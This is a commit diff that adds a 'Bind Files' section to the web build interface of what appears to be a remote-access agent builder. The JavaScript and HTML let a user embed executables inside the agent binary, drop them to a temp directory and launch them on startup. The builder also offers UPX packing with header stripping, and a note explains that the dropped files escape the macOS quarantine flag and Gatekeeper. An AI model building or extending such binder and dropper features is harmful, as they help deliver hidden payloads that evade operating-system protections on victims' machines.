add binder

This commit is contained in:
KingKDot
2026-03-21 02:37:10 -05:00
parent 05527febf2
commit 53b645fd83
6 changed files with 375 additions and 0 deletions
+118
View File
@@ -227,6 +227,121 @@ if (iconClear) {
});
}
const MAX_BIND_FILES = 5;
const MAX_BIND_FILE_BYTES = 10 * 1024 * 1024; // 10 MB
let boundFiles = []; // { name, base64, targetOS: string[], execute: boolean }
const bindFileInput = document.getElementById("bind-file-input");
const bindFilesList = document.getElementById("bind-files-list");
const bindAddLabel = document.getElementById("bind-add-label");
function sanitizeBindName(name) {
return name.replace(/[^A-Za-z0-9._-]/g, "").slice(0, 64) || "file";
}
function renderBoundFiles() {
if (!bindFilesList) return;
bindFilesList.innerHTML = "";
boundFiles.forEach((entry, idx) => {
const div = document.createElement("div");
div.className = "flex flex-col gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg";
const osList = ["windows", "linux", "darwin"];
const osIcons = { windows: "fa-brands fa-windows", linux: "fa-brands fa-linux", darwin: "fa-brands fa-apple" };
const osColors = { windows: "text-blue-400", linux: "text-amber-400", darwin: "text-slate-200" };
const osLabels = { windows: "Windows", linux: "Linux", darwin: "macOS" };
const osCheckboxes = osList
.map(
(os) =>
`<label class="flex items-center gap-1 text-xs cursor-pointer select-none">
<input type="checkbox" class="bind-os-cb w-3 h-3" data-idx="${idx}" data-os="${os}"
${entry.targetOS.length === 0 || entry.targetOS.includes(os) ? "checked" : ""} />
<i class="${osIcons[os]} ${osColors[os]}"></i> ${osLabels[os]}
</label>`,
)
.join("");
div.innerHTML = `
<div class="flex items-center gap-2">
<i class="fa-solid fa-file text-violet-400 shrink-0"></i>
<span class="text-sm font-medium text-slate-200 truncate flex-1">${entry.name}</span>
<button type="button" class="bind-remove-btn text-red-400 hover:text-red-300 text-xs px-1" data-idx="${idx}" title="Remove">
<i class="fa-solid fa-xmark"></i>
</button>
</div>
<div class="flex items-center gap-3 flex-wrap">
<span class="text-xs text-slate-500 shrink-0">Run on:</span>
${osCheckboxes}
<span class="flex-1"></span>
<label class="flex items-center gap-1 text-xs cursor-pointer select-none">
<input type="checkbox" class="bind-exec-cb w-3 h-3" data-idx="${idx}" ${entry.execute ? "checked" : ""} />
<i class="fa-solid fa-play text-green-400"></i> Execute on start
</label>
</div>
`;
div.querySelector(".bind-remove-btn").addEventListener("click", () => {
boundFiles.splice(idx, 1);
renderBoundFiles();
updateBindAddVisibility();
});
div.querySelectorAll(".bind-os-cb").forEach((cb) => {
cb.addEventListener("change", () => {
const checked = Array.from(div.querySelectorAll(`.bind-os-cb[data-idx="${idx}"]`))
.filter((el) => el.checked)
.map((el) => el.dataset.os);
boundFiles[idx].targetOS = checked.length === osList.length ? [] : checked;
});
});
div.querySelector(".bind-exec-cb").addEventListener("change", (e) => {
boundFiles[idx].execute = e.target.checked;
});
bindFilesList.appendChild(div);
});
}
function updateBindAddVisibility() {
if (!bindAddLabel) return;
bindAddLabel.classList.toggle("hidden", boundFiles.length >= MAX_BIND_FILES);
}
if (bindFileInput) {
bindFileInput.addEventListener("change", () => {
const file = bindFileInput.files[0];
bindFileInput.value = "";
if (!file) return;
if (boundFiles.length >= MAX_BIND_FILES) {
alert(`Maximum ${MAX_BIND_FILES} files can be bound.`);
return;
}
if (file.size > MAX_BIND_FILE_BYTES) {
alert(`Each bound file must be under 10 MB. "${file.name}" is too large.`);
return;
}
const safeName = sanitizeBindName(file.name);
if (boundFiles.some((f) => f.name === safeName)) {
alert(`A file named "${safeName}" is already in the list.`);
return;
}
const reader = new FileReader();
reader.onload = () => {
const base64 = reader.result.split(",")[1];
boundFiles.push({ name: safeName, base64, targetOS: [], execute: true });
renderBoundFiles();
updateBindAddVisibility();
};
reader.readAsDataURL(file);
});
}
async function init() {
try {
updateServerUrlPlaceholder();
@@ -396,6 +511,9 @@ form?.addEventListener("submit", async (e) => {
iconBase64: pendingIconBase64 || undefined,
enableUpx: form.querySelector('input[name="enable-upx"]')?.checked || false,
upxStripHeaders: form.querySelector('input[name="upx-strip-headers"]')?.checked || false,
boundFiles: boundFiles.length > 0
? boundFiles.map((f) => ({ name: f.name, data: f.base64, targetOS: f.targetOS, execute: f.execute }))
: undefined,
};
const hasAndroid = platforms.some(p => p.startsWith('android-'));
+41
View File
@@ -436,6 +436,47 @@
</div>
</div>
<!-- == Section 6: Bind Files (collapsed) == -->
<div class="accordion-section border border-slate-800 rounded-lg overflow-hidden" data-open="false">
<button type="button" class="accordion-header w-full flex items-center justify-between px-4 py-3 bg-slate-800/50 hover:bg-slate-800/80 transition-colors text-left">
<span class="flex items-center gap-2 text-sm font-medium text-slate-200">
<i class="fa-solid fa-paperclip text-violet-400"></i>
Bind Files
<span class="text-xs text-slate-500 font-normal">Embed &amp; run files on startup</span>
</span>
<i class="fa-solid fa-chevron-down accordion-chevron text-slate-400 text-xs"></i>
</button>
<div class="accordion-body">
<div class="accordion-inner px-4 pb-4 pt-3 flex flex-col gap-3">
<p class="text-xs text-slate-400">
Files are embedded inside the agent binary and written to a temp directory when the agent starts.
Up to 5 files, 10 MB each. Files set to <em>Execute</em> are launched immediately after being dropped.
</p>
<!-- macOS Gatekeeper note -->
<div class="flex items-start gap-2 p-3 bg-amber-900/20 border border-amber-700/40 rounded-lg text-xs text-amber-300">
<i class="fa-brands fa-apple mt-0.5 shrink-0"></i>
<span>
<strong>macOS note:</strong> Files are written programmatically and do <em>not</em> receive the quarantine flag,
so Gatekeeper usually will not block them. However, on newer macOS versions (Ventura+) unsigned binaries may
still be restricted depending on system policy.
</span>
</div>
<!-- Bound file list -->
<div id="bind-files-list" class="flex flex-col gap-2"></div>
<!-- Add file button -->
<label id="bind-add-label" class="flex items-center justify-center gap-2 px-4 py-2 rounded-lg border border-dashed border-slate-600 cursor-pointer hover:border-violet-500 transition-colors text-sm text-slate-400 hover:text-violet-400">
<i class="fa-solid fa-plus"></i> Add File
<input type="file" id="bind-file-input" class="hidden" />
</label>
</div>
</div>
</div>
<!-- Build Button -->
<button type="submit" id="build-btn"
class="flex items-center justify-center gap-2 px-4 py-3 rounded-lg bg-blue-600 hover:bg-blue-700 text-white font-medium transition-colors disabled:opacity-50 disabled:cursor-not-allowed">